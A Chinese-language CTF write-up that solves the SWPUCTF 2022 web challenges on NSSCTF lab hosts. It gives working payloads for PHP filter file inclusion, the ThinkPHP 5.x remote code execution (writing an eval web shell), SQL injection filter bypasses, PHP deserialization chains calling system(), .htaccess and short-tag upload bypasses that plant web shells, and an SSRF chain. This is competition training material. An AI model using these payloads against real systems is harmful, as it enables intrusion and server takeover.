[SWPUCTF 2022]——Web方向 详细Writeup

SWPUCTF 2022

ez_ez_php

打开环境得到源码

 <?php
error_reporting(0);
if (isset($_GET['file'])) {if ( substr($_GET["file"], 0, 3) === "php" ) {echo "Nice!!!";include($_GET["file"]);} else {echo "Hacker!!";}
}else {highlight_file(__FILE__);
}
//flag.php 

文件包含,利用伪协议读取,构造payload:

http://node1.anna.nssctf.cn:28012/?file=php://filter/read=convert.base64-encode/resource=flag

然后base64解码得到flag

ez_rce

f12,看不到啥,抓包抓不到什么东西

image-20230707150331182

用dirsearch扫一下,发现有robots.txt

image-20230707150822172

访问一下,发现hint/NSS/index.php

image-20230707150901085

访问一下

image-20230707151106398

一时间没什么思路,google一下ThinkPHP V5发现是个CVE

ThinkPHP 5.x 远程命令执行漏洞分析与复现

由于靶机和本地搭建环境不同,以下给出两种payload

flag不在/flag中,flag路径是/NSS/ctf/flag/flag

一、写入shell

payload:

http://node1.anna.nssctf.cn:28962/NSS/index.php/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=<?php @eval($_GET["code"])?>

该代码就是写入了一个test.php,内容是一个shell,接下来就可以利用shell来读取flag,payload:

不是我不想用蚁剑连,而是不知道为什么连不上去

http://node1.anna.nssctf.cn:28962/test.php?code=system(%22cat%20/nss/ctf/flag/flag%22);

二、直接读取flag

可以利用find命令来找到flag,毕竟不好找

http://node1.anna.nssctf.cn:28962/NSS/index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20$(find%20/%20-name%20flag)

或者一个一个的找来读取flag文件

http://node1.anna.nssctf.cn:28962/NSS/index.php/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/nss/ctf/flag/flag

奇妙的MD5

hint:可曾听过ctf 中一个奇妙的字符串

先提交查询然后抓个包看看

image-20230708101555556

可以看到我们提交的数据都会经过md5解密然后再进行处理

1681750044692

所以首先我们要找到一个字符串,这个字符串经过md5得到的16位原始二进制的字符串能帮我们实现sql注入

or这个字符串是必要的,同时为了配对原先sql语句里面有的单引号,在or的两边要有单引号,使它变成 password=‘xxx’or‘xxx’ 的形式。

所以我们需要的字符串的原始二进制格式的字符串里要包含 'or'如果根据原始二进制来找到我们要的字符串可能会比较麻烦,那么可以根据32位16进制的字符串来查找,根据上面介绍的, 'or' 对应的16进制是 276f7227 ,所以我们的目标就是要找一个字符串取32位16进制的md5值里带有276f7227这个字段的。

接着就是要看关键的数字部分了,在276f7227这个字段后面紧跟一个数字,除了0,1-9,对应的asc码值是49-57,转化为16进制就是31-39,也就是我们需要有276f7227+(31-39)这个字段,就可以满足要求。比如xxxxxxxxxxxxxxxx276f7227(31-39)xxxxxx

ffifdyop,这个点的原理是 ffifdyop 这个字符串被 md5 哈希了之后会变成 276f722736c95d99e921722cf9ed621c,这个字符串前几位刚好是 ‘ or ‘6,

而 Mysql 刚好又会把 hex 转成 ascii 解释,因此拼接之后的形式是select * from ‘admin’ where password=’’ or ‘6xxxxx’

所以将ffifdyop提交查询,进入新界面

image-20230708102148906

f12查看源码,md5弱比较,直接数组绕过就可以

$x= $GET['x'];
$y = $_GET['y'];
if($x != $y && md5($x) == md5($y)){;

构造payload:

node3.anna.nssctf.cn:28028/c0nt1nue.php?x[]=1&y[]=2

进入新界面,得到源码

<?php
error_reporting(0);
include "flag.php";highlight_file(__FILE__);if($_POST['wqh']!==$_POST['dsy']&&md5($_POST['wqh'])===md5($_POST['dsy'])){echo $FLAG;
} 

这次就是md5强比较,构造payload:

wqh=%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%df%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%73%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%69%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%93%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%28%1c%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%b9%05%39%95%ab&dsy=%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%5f%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%f3%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%e9%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%13%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%a8%1b%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%39%05%39%95%ab

ez_ez_php(revenge)

打开环境得到源码

 <?php
error_reporting(0);
if (isset($_GET['file'])) {if ( substr($_GET["file"], 0, 3) === "php" ) {echo "Nice!!!";include($_GET["file"]);} else {echo "Hacker!!";}
}else {highlight_file(__FILE__);
}
//flag.php 

也是利用伪协议,直接构造payload:

http://node3.anna.nssctf.cn:28472/?file=php://filter/read=convert.base64-encode/resource=flag.php

然后base64解码解码一下,擦,被骗了

image-20230708103933214

重新构造payload:

http://node3.anna.nssctf.cn:28472/?file=php://filter/read=convert.base64-encode/resource=/flag

这次base64解码可以得到flag了

1z_unserialize

<?phpclass lyh{public $url = 'NSSCTF.com';public $lt;public $lly;function  __destruct(){$a = $this->lt;$a($this->lly);}}
unserialize($_POST['nss']);
highlight_file(__FILE__);?> 

这里考察反序列化,利用点在

$a($this->lly);

这里可以让$asystem来进行命令执行,并且在函数销毁时会被设置为$lt的值

构造exp:

<?phpclass lyh{public $url = 'NSSCTF.com';public $lt;public $lly;function  __construct(){$this->lt ="system";$this->lly="ls /";}
}
$a=new lyh();
echo (serialize($a))
?>

payload:

O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:4:"ls /";}

然后利用POST发包

image-20230825194948131

修改命令得到flag

nss=O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:7:"cat /f*";}

numgame

dirsearch扫一下,可以看到有一些文件

image-20230825195951323

访问一下flag.php然后打开F12,然后再去访问index.php,查看源代码

image-20230825200137032

可以得到

NSSCTF{TnNTY1RmLnBocA==}

解码一下

image-20230825200219934

然后去访问NsScTf.php文件,得到代码

 <?php
error_reporting(0);
//hint: 与get相似的另一种请求协议是什么呢
include("flag.php");
class nss{static function ctf(){include("./hint2.php");}
}
if(isset($_GET['p'])){if (preg_match("/n|c/m",$_GET['p'], $matches))die("no");call_user_func($_GET['p']);
}else{highlight_file(__FILE__);
} 
  1. 它包含了一个名为 “flag.php” 的文件的内容。这个文件可能包含了一些敏感信息,可能是题目的解答或者标志。
  2. 定义了一个名为 nss 的类,其中有一个静态方法 ctf。在这个方法内部,包含了一个名为 “hint2.php” 的文件。
  3. 如果通过GET请求传递了参数 p,则会进入条件判断。在条件判断内部,使用正则表达式检查参数 p 是否包含字符 “n” 或 “c”,如果包含就会输出 “no” 并终止程序。
  4. 如果条件判断没有通过,就会调用 call_user_func 来执行参数 p 对应的函数。
  5. 如果没有传递参数 p,则会使用 highlight_file 函数将当前文件的源代码高亮显示在浏览器中。

这里正则匹配会匹配GET方式传参的p的值,结合第一个hint,我们推测需要用POST形式发包

其实这里用大小写绕过也可以,因为这个正则匹配没有用/i来忽略大小写

这里看到有hint2.php,访问一下hint2.php,得到第二个hint

image-20230827001022410

所以进行post发包,类名是nss2,函数还是ctf

构造payload:

p=nss2::ctf

image-20230827001857550

其实这里hint2.php是按照类似的方式来查看的,但是能直接看

where_am_i

打开环境

image-20230827002652270

推测是输入手机号码,用识图网站看一下

image-20230827003049990

查一下古迹酒店的电话号码

image-20230827003149660

得到电话号码,去掉括号

02886112888

踩坑点:这里输了好几次都没有用,还以为是电话号码的问题,重新进一下环境就好了

然后输入可以得到flag

image-20230827003712487

ez_ez_unserialize

源码如下

<?php
class X
{public $x = __FILE__;function __construct($x){$this->x = $x;}function __wakeup(){if ($this->x !== __FILE__) {$this->x = __FILE__;}}function __destruct(){highlight_file($this->x);//flag is in fllllllag.php}
}
if (isset($_REQUEST['x'])) {@unserialize($_REQUEST['x']);
} else {highlight_file(__FILE__);
} 

这里__FILE__的作用是获取当前文件

然后在反序列化开始的时候触发__wakeup()魔术方法,来检测$x的值是否为当前文件名,如果不是,则重新赋值为__FILE__

然后在反序列化结束的时候触发__destruct()魔术方法,来显示文件文件内容

染过__wakeup()之前先看看PHP版本

image-20230828182704024

可以看到PHP5版本 <5.6.25

所以可以利用对象的属性数量不一致方法来绕过

先构造exp,flag在fllllllag.php

<?php
class X
{public $x;function __construct(){$this->x = "fllllllag.php";}
}$a=new X();
echo serialize($a);

运行得到

O:1:"X":1:{s:1:"x";s:13:"fllllllag.php";}

修改属性数量

O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}

然后get传参,payload

http://node5.anna.nssctf.cn:28562/?x=O:1:%22X%22:2:{s:1:%22x%22;s:13:%22fllllllag.php%22;}

得到flag

image-20230828183424374

js_sign

F12可以看到源代码

document.getElementsByTagName("button")[0].addEventListener("click", ()=>{flag="33 43 43 13 44 21 54 34 45 21 24 33 14 21 31 11 22 12 54 44 11 35 13 34 14 15"if (btoa(flag.value) == 'dGFwY29kZQ==') {alert("you got hint!!!");} else {alert("fuck off !!");}    
})

dGFwY29kZQ==解码可以得到tapcode

敲击码(?),没见过,直接去空格解码flag

敲击码在线解密

将字符串去空格得到

3343431344215434452124331421311122125444113513341415

反查得到

n(N) s(S) s(S) c(C) t(T) f(F) y(Y) o(O) u(U) f(F) i(I) n(N) d(D) f(F) l(L) a(A) g(G) b(B) y(Y) t(T) a(A) p(P) c(C) o(O) d(D) e(E)

得到flag

NSSCTF{youfindflagbytapcode}

xff

打开环境

image-20230828184624665

猜测是XFF伪造,burp抓包然后伪造

X-Forwarded-For:127.0.0.1

image-20230828184715189

说明必须从主页跳转,Referer伪造

Referer:127.0.0.1

得到flag

image-20230828185043594

ez_sql

提示我们要用相对安全的方式传参,所以这里用POST传参,如果用GET会弹出报错

image-20230830203036055

先判断闭合方式

根据报错方式可以得知闭合方式是单引号

image-20230830225228203

接下来尝试一下联合注入

nss=1' union select 1,2,3;#

image-20230830230706238

根据报错信息,可以发现union空格是会被消除的,这里union尝试用双写替代一下,空格试试/**/

构造payload:

nss=2'/**/ununionion/**/select/**/1,2,3;#

绕过成功

image-20230830231210913

接下来爆库

nss=2'/**/ununionion/**/select/**/1,database(),3;#

爆表

这里爆表的时候注意一下,or会被消除,所以双写一下

image-20230830231432464

nss=2'/**/ununionion/**/select/**/1,database(),group_concat(table_name)/**/from/**/infoorrmation_schema.tables/**/where/**/table_schema='NSS_db';#

image-20230830231730411

爆字段

nss=2'/**/ununionion/**/select/**/1,database(),group_concat(column_name)/**/from/**/infoorrmation_schema.columns/**/where/**/table_name='NSS_tb';#

image-20230830231859433

获取数据

nss=2'/**/ununionion/**/select/**/1,group_concat(Secr3t),group_concat(flll444g)/**/from/**/NSS_tb;#

image-20230830232044691

不知道为什么是两个。。。。Secr3t那个表里的是对的

webdog1__start

F12可以看到代码

if (isset($_GET['web']))
{$first=$_GET['web'];if ($first==md5($first)) 

对于$a==md5($a)这种类型的弱比较,数组是绕过不了的,这里用0e绕过弱比较

payload:

?web=0e215962017

然后进入到start.php界面

image-20230829151741247

然后继续Ctrl+U查看前端代码,可以看到hint

image-20230829151902907

这里的bot指的就是robots.txt,访问一下

image-20230829152047993

这里不知道为什么用火狐直接访问中文乱码了(

image-20230829152112900

然后去访问f14g.php

抓包从返回头可以看到hint

image-20230829152337146

接下来去访问F1l1l1l1l1lag.php访问得到代码

<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_GET['get'])){$get=$_GET['get'];if(!strstr($get," ")){$get = str_ireplace("flag", " ", $get);if (strlen($get)>18){die("This is too long.");}else{eval($get);} }else {die("nonono"); }}

我们需要以get方式传入get参数

并且传入参数不能存在空格,如果有flag,把flag利用str_ireplace()函数变成空格

字符串的长度要小于等于18,如果以上条件都满足,就会利用eval来执行get参数

绕过空格的方式很多,经常用到的是两个<重定向符,和间隔符$IFS

因为IFS为系统变量,默认值为空格,又因为变量的优先级要比命令高,所以可以使用命令+$IFS+参数的方式绕过空格过滤

但是我们并不能直接使用命令+$IFS+参数的方法进行绕过,比如cat$IFSflag,这样是不可以的,因为linux系统或将$IFSflag看做一个整体,从而不能正常的被解析为空格。所以需要在$IFS后面进行截断,以保证$IFS被成功解析有几种方式:

  1. 利用绝对路径前面的/分隔 cat$IFS/flag.php
  2. 利用通配符?分隔 ,?在linux里面可以进行代替字母

在linux里面可以进行模糊匹配 cat$IFS?lag.php

3.利用${}分隔cat${IFS}flag.php

4.可以创建自定义变量:a=参数,命令$IFS$a cat$IFS$aflag.php

5.未过滤"0~9"、"@"、"*"命令$IFS$

通过文件重定向来绕过空格的原理就是文件重定向符号执行优先级大于命令

格式:cat<fileName cat<>flag.txt

对于文件重定向操作符绕过空格过滤,只能用于文件查看的相关命令,比如cat,head,tail,more等。

其他绕过方式:制表符%09%0a 制表符\t

至于绕过flag,这里也很简单,我看到基本都是用刚才讲到的*进行模糊匹配

而且因为长度原因,你最好使用一些比较短的绕过方式,比如cat就可以换成nl这种

最终payload:

?get=system("nl%09/*");
?get=system("nl\t/*");

或者利用自定义变量

?get=eval($_GET['A']);&A=system('cat /flag');

funny_php

打开环境得到源代码

<?phpsession_start();highlight_file(__FILE__);if(isset($_GET['num'])){if(strlen($_GET['num'])<=3&&$_GET['num']>999999999){echo ":D";$_SESSION['L1'] = 1;}else{echo ":C";}}if(isset($_GET['str'])){$str = preg_replace('/NSSCTF/',"",$_GET['str']);if($str === "NSSCTF"){echo "wow";$_SESSION['L2'] = 1;}else{echo $str;}}if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){if($_POST['md5_1']!==$_POST['md5_2']&&md5($_POST['md5_1'])==md5($_POST['md5_2'])){echo "Nice!";if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){if(is_string($_POST['md5_1'])&&is_string($_POST['md5_2'])){echo "yoxi!";$_SESSION['L3'] = 1;}else{echo "X(";}}}else{echo "G";echo $_POST['md5_1']."\n".$_POST['md5_2'];}}if(isset($_SESSION['L1'])&&isset($_SESSION['L2'])&&isset($_SESSION['L3'])){include('flag.php');echo $flag;}
?> 

一层一层来,需要我们传入num,并且长度要字符长度<=3并且数字>999999999

这里可以利用指数e绕过

构造payload

?num=9e9

然后我们需要传入str的值为NSSCTF,但是这里会通过正则匹配然后将NSSCTF替换为空,但是这里不会循环检测替换后的str,可以利用双写绕过

构造payload:

?num=9e9&str=NNSSCTFSSCTF

然后POST传入md5_1md5_2,要求这两个值都是字符串,并且md5_1!==md5_2,并且两个值md5加密后的值相同,但是这里是弱比较

这里选择用0e绕过弱比较

对于某些特殊的字符串加密后得到的密文以0e开头,PHP会当作科学计数法来处理,也就是0的n次方,得到的值比较的时候都相同

POST传参

md5_1=QNKCDZO&md5_2=PJNPDWY

最后请求头如下

image-20230829180709582

ez_1zpop

代码如下

<?php
error_reporting(0);
class dxg
{function fmm(){return "nonono";}
}class lt
{public $impo='hi';public $md51='weclome';public $md52='to NSS';function __construct(){$this->impo = new dxg;}function __wakeup(){$this->impo = new dxg;return $this->impo->fmm();}function __toString(){if (isset($this->impo) && md5($this->md51) == md5($this->md52) && $this->md51 != $this->md52)return $this->impo->fmm();}function __destruct(){echo $this;}
}class fin
{public $a;public $url = 'https://www.ctfer.vip';public $title;function fmm(){$b = $this->a;$b($this->title);}
}if (isset($_GET['NSS'])) {$Data = unserialize($_GET['NSS']);
} else {highlight_file(__file__);
}

构造pop链

这里的要在fin类的fmm()函数进行命令执行

向上找,发现是在__toString()魔术方法会触发impo的值的fmm()函数

__toString(): 当一个对象被当作字符串使用时触发

所以向上找是__destruct(),pop如下

fin::fmm() <- lt::__toString <- lt::__destruct

在构造exp的时候要__toString()的条件,我们需要构造传入md51md52的值,并且md5加密后值相等,但是md51不能等于md51,这里是弱比较,可以利用0e绕过弱比较(这里跟上一题一样)

exp:

<?php
class lt
{public $impo;public $md51 = 'QNKCDZO';public $md52 = 'PJNPDWY';function __construct(){$this->impo = new fin();}
}
class fin
{public $a;public $url = '111';public $title ;function __construct(){$this->a = 'system';$this->title='ls /';}
}$a = new lt();
echo serialize($a);

运行生成

O:2:"lt":3:{s:4:"impo";O:3:"fin":3:{s:1:"a";s:6:"system";s:3:"url";s:3:"111";s:5:"title";s:4:"ls /";}s:4:"md51";s:7:"QNKCDZO";s:4:"md52";s:7:"PJNPDWY";}

但是这里注意一下__wakeup()魔术方法

   function __wakeup(){$this->impo = new dxg;return $this->impo->fmm();}

他会将impo的值赋为new dxg,这就不能进入到我们的fin类,所以要对__wakeup()进行绕过,看一下版本

image-20230829201615319

PHP/5.5.38,那么就说明可以用对象的属性数量不一致这个方法

修改payload:

O:2:"lt":4:{s:4:"impo";O:3:"fin":3:{s:1:"a";s:6:"system";s:3:"url";s:3:"111";s:5:"title";s:4:"ls /";}s:4:"md51";s:7:"QNKCDZO";s:4:"md52";s:7:"PJNPDWY";}

image-20230829201746630

然后再修改命令为cat /f*得到flag

O:2:"lt":4:{s:4:"impo";O:3:"fin":3:{s:1:"a";s:6:"system";s:3:"url";s:3:"111";s:5:"title";s:7:"cat /f*";}s:4:"md51";s:7:"QNKCDZO";s:4:"md52";s:7:"PJNPDWY";}

Ez_upload

文件上传,先上传php文件试试

image-20230830015648676

黑名单过滤,那就利用.htaccess文件进行绕过,上传.htaccess,内容如下

<FilesMatch "jpg">
SetHandler application/x-httpd-php
</FilesMatch>

先上传.htaccess文件

image-20230830020343100

但是这里还是上传失败,应该还是存在过滤,修改一下MIME类型

image-20230830021916034

这样就上传成功了,然后上传jpg图片马

image-20230830022049835

换个类型,说明存在文件类型检测,前面加个文件头,GIF89a,加了之后还是不行(有完没完

应该是存在短标签过滤,换个内容传一下

GIF89a<script language ="php"> eval($_REQUEST['cmd']); </script>

image-20230830022602016

然后去访问一下

http://node5.anna.nssctf.cn:28211/upload/1ab7604dc44c5225b3b50a4f361f5fc7/shell.jpg

接着进行RCE

image-20230830022847812

然后看一下flag的内容,发现没东西,被骗了

看一下phpinfo

http://node5.anna.nssctf.cn:28211/upload/1ab7604dc44c5225b3b50a4f361f5fc7/shell.jpg?cmd=phpinfo();

得到flag

image-20230830023122450

funny_web

随便输个账号密码,弹出hint

image-20230830013744880

用户名是NSS,密码随便输

image-20230830013805942

密码是2122693401,登录,得到源代码

谢队夹带私货是吧

<?php
error_reporting(0);
header("Content-Type: text/html;charset=utf-8");
highlight_file(__FILE__);
include('flag.php');
if (isset($_GET['num'])) {$num = $_GET['num'];if ($num != '12345') {if (intval($num) == '12345') {echo $FLAG;}} else {echo "这为何相等又不相等";}
} 

然后这里绕过intval()函数就可以了,这里可以用小数绕过

构造payload:

http://node5.anna.nssctf.cn:28399/rea11y.php?num=12345.6

传参得到flag

file_master

题目存在文件查看功能,但是不能直接查看flag,权限不够

image-20230830183111456

先查看index.php

image-20230830201425374

可以得到源码

<?phpsession_start();if(isset($_GET['filename'])){echo file_get_contents($_GET['filename']);}else if(isset($_FILES['file']['name'])){$whtie_list = array("image/jpeg");$filetype = $_FILES["file"]["type"];if(in_array($filetype,$whtie_list)){$img_info = @getimagesize($_FILES["file"]["tmp_name"]);if($img_info){if($img_info[0]<=20 && $img_info[1]<=20){if(!is_dir("upload/".session_id())){mkdir("upload/".session_id());}$save_path = "upload/".session_id()."/".$_FILES["file"]["name"];move_uploaded_file($_FILES["file"]["tmp_name"],$save_path);$content = file_get_contents($save_path);if(preg_match("/php/i",$content)){sleep(5);@unlink($save_path);die("hacker!!!");}else{echo "upload success!! upload/your_sessionid/your_filename";}}else{die("image hight and width must less than 20");}}else{die("invalid file head");}}else{die("invalid file type!image/jpeg only!!");}}else{echo '<img src="data:jpg;base64,'.base64_encode(file_get_contents("welcome.jpg")).'">';}
?>

可以看到会检测MIME类型,只允许image/jpeg

然后将文件上传之后会进行正则匹配,如果文件内容中含有php(不区分大小写)那么久就会延迟五秒之后移除该文件

这里其实就是短标签过滤,换个短标签即可绕过


php短标签绕过

php中最常见的标签为<?php ?>

不过在题目上传时可能会被waf过滤掉php关键字。根据查询结果,还有四种php的标签,分别是:

①<? ?> 仅在配置short_open_tag=on时可以使用,适合执行php语句;

②<?= ?>即使配置short_open_tag=off时依然可以使用,相当于<?php echo ?>,适合输出php语句~

上述二者的短标签都不必闭合(即?>可以省略不写,也可以连接成功

<?  @eval($_POST['a']);?><?= @eval($_POST['a']);?><?  @eval($_POST['a']);<?= @eval($_POST['a']);

然后上传一句话木马

image-20230830202145878

存在文件头检测,那就加个文件头GIF89a

image-20230830202258987

然后回显提示图像的宽和高必须小于20

记得去掉上面的那个phpinfo()

这里就上传成功了

image-20230830202452953

然后利用sessionidfilename进行RCE

payload:

http://node5.anna.nssctf.cn:28118/upload/7mvv3slg9k03vuarv1ckom0hrl/shell.php?cmd=system(%22cat%20/f*%22);

Power!

F12可以查看hint

image-20230829204503107

source,随便传参让其等于一个数

http://node5.anna.nssctf.cn:28431/?source=1

得到源码

<?phpclass FileViewer{public $black_list = "flag";public $local = "http://127.0.0.1/";public $path;public function __call($f,$a){$this->loadfile();}public function loadfile(){if(!is_array($this->path)){if(preg_match("/".$this->black_list."/i",$this->path)){$file = $this->curl($this->local."cheems.jpg");}else{$file = $this->curl($this->local.$this->path);}}else{$file = $this->curl($this->local."cheems.jpg");}echo '<img src="data:jpg;base64,'.base64_encode($file).'"/>';}public function curl($path){$url = $path;$curl = curl_init();curl_setopt($curl, CURLOPT_URL, $url);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_HEADER, 0);$response = curl_exec($curl);curl_close($curl);return $response;}public function __wakeup(){$this->local = "http://127.0.0.1/";}}class Backdoor{public $a;public $b;public $superhacker = "hacker.jpg";public function goodman($i,$j){$i->$j = $this->superhacker;}public function __destruct(){$this->goodman($this->a,$this->b);$this->a->c();}}if(isset($_GET['source'])){highlight_file(__FILE__);}else{if(isset($_GET['image_path'])){$path = $_GET['image_path'];    //flag in /flag.phpif(is_string($path)&&!preg_match("/http:|gopher:|glob:|php:/i",$path)){echo '<img src="data:jpg;base64,'.base64_encode(file_get_contents($path)).'"/>';}else{echo '<h2>Seriously??</h2><img src="data:jpg;base64,'.base64_encode(file_get_contents("cheems.jpg")).'"/>';}}else if(isset($_GET['path_info'])){$path_info = $_GET['path_info'];$FV = unserialize(base64_decode($path_info));$FV->loadfile();}else{$path = "vergil.jpg";echo '<h2>POWER!!</h2><img src="data:jpg;base64,'.base64_encode(file_get_contents($path)).'"/>';}}
?> 

从这一段可以看出,查询的文件会通过file_get_contents()函数以base64编码的形式输出,所以可以看一下flag.php

image-20230829205809738

解码一下得到

<?php$a = "good job,but there is no flagi put my flag in intranet(127.0.0.1:65500)outsider have no permissions to get itif you want it,then you have to take itbut you already knew the rulestry it";?>

这道题目的且切入点在FileViewer中的loadfile()方法中,有代码可以实现curl命令,根据flag.php中的内容,我们可以curl 127.0.0.1:65500/flag

image-20230830000013424

向上找,要想触发loadfile()函数需要先触发FileViewer__call()魔术方法

__call() :在对象上下文中调用不可访问的方法时触发

image-20230830001752370

那就找找如何来触发__call()魔术方法,可以看到在Backdoor__destruct()魔术方法会访问一个不存在的方法c()

__destruct() :对象被销毁时触发

image-20230830001953229

但是在此之前会先进入到goodman方法来进行重新赋值,将$a类中的$b属性重新赋值为该类,也就是Backdoor$superhacker的值

链子构造到这里还没有解决最关键的一点,就是设置我们curl的路径,通过审计代码

$file = $this->curl($this->local.$this->path);

可以得知,curl的路径是由FileViewerlocalpath决定的,正好,我们可以通过$a变量来创建一个新的FileViewer对象

构造exp的时候可以修改一下black_list的值,让他不在过滤flag,毕竟正则匹配会进行过滤,并且还要注意一下,在触发unserialize之前会先进行一次base64解码

构造exp

<?php
class FileViewer{public $black_list;public $local;public $path;public function __construct(){$this->black_list="web so difficult~";$this->local='take it easy';$this->path="flag";}
}
class Backdoor{public $a;public $b;public $superhacker;public function __construct(){$this->a=new FileViewer();$this->b="local";$this->superhacker="127.0.0.1:65500/";}
}$a=new Backdoor();
$b=new FileViewer();
$b->local=$a;
echo base64_encode(serialize($b))
?>

这里构造的时候踩了个坑,一开始只创建了Backdoor一个对象,所以就是Backdoor里面包含着FileViewer,但是经过反序列化之后,执行的loadfile函数只有FileViewer类存在,所以要FileViewer中包着Backdoor

运行生成

TzoxMDoiRmlsZVZpZXdlciI6Mzp7czoxMDoiYmxhY2tfbGlzdCI7czoxNzoid2ViIHNvIGRpZmZpY3VsdH4iO3M6NToibG9jYWwiO086ODoiQmFja2Rvb3IiOjM6e3M6MToiYSI7TzoxMDoiRmlsZVZpZXdlciI6Mzp7czoxMDoiYmxhY2tfbGlzdCI7czoxNzoid2ViIHNvIGRpZmZpY3VsdH4iO3M6NToibG9jYWwiO3M6MTI6InRha2UgaXQgZWFzeSI7czo0OiJwYXRoIjtzOjQ6ImZsYWciO31zOjE6ImIiO3M6NToibG9jYWwiO3M6MTE6InN1cGVyaGFja2VyIjtzOjE2OiIxMjcuMC4wLjE6NjU1MDAvIjt9czo0OiJwYXRoIjtzOjQ6ImZsYWciO30=

利用path_info传参

构造payload:

http://node5.anna.nssctf.cn:28686/?path_info=TzoxMDoiRmlsZVZpZXdlciI6Mzp7czoxMDoiYmxhY2tfbGlzdCI7czoxNzoid2ViIHNvIGRpZmZpY3VsdH4iO3M6NToibG9jYWwiO086ODoiQmFja2Rvb3IiOjM6e3M6MToiYSI7TzoxMDoiRmlsZVZpZXdlciI6Mzp7czoxMDoiYmxhY2tfbGlzdCI7czoxNzoid2ViIHNvIGRpZmZpY3VsdH4iO3M6NToibG9jYWwiO3M6MTI6InRha2UgaXQgZWFzeSI7czo0OiJwYXRoIjtzOjQ6ImZsYWciO31zOjE6ImIiO3M6NToibG9jYWwiO3M6MTE6InN1cGVyaGFja2VyIjtzOjE2OiIxMjcuMC4wLjE6NjU1MDAvIjt9czo0OiJwYXRoIjtzOjQ6ImZsYWciO30=

得到flag

image-20230830013157373

base64解码后得到flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/118076.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Python爬虫抓取经过JS加密的API数据的实现步骤

